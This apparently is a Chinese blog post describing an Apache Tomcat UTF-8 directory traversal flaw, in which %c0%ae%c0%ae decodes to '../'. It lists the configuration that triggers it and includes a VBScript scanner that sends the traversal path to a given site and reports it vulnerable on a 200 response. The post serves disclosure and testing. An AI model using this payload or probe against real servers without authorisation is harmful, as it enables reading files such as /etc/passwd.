Apache Tomcat UTF-8编码漏洞

时间:2023-01-05 23:17:07

呵呵,Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了,我也来发一下吧!

漏洞发生在Apache Tomcat处理UTF-8编码时,没有正确转换,从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式,使得可以遍历系统任意文件,包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

 

漏洞测试代码如下:

 

Dim strUrl,strSite

showB()
Set Args = Wscript.Arguments

If Args.Count <> 1 Then
ShowU()
Else
strSite=Args(0)
End If

   strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"

   Set objXML = CreateObject("Microsoft.XMLHTTP")
   objXML.Open "GET",strSite & strUrl, False
   objXML.SetRequestHeader "Referer", strSite 

   objXML.send()

if objXML.status=200 then
   wscript.echo("存在漏洞")

end if

 

Sub showB()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("Exploit Apache Tomcat UTF-8")
   .Echo("Code By Safe3")
   .Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("用法:")
   .Echo(" cscript "&.ScriptName&" site")
   .Echo("例子:")
   .Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt")
   .Echo("+--------------------------=====================------------------------------+")
   .Quit
End with
End Sub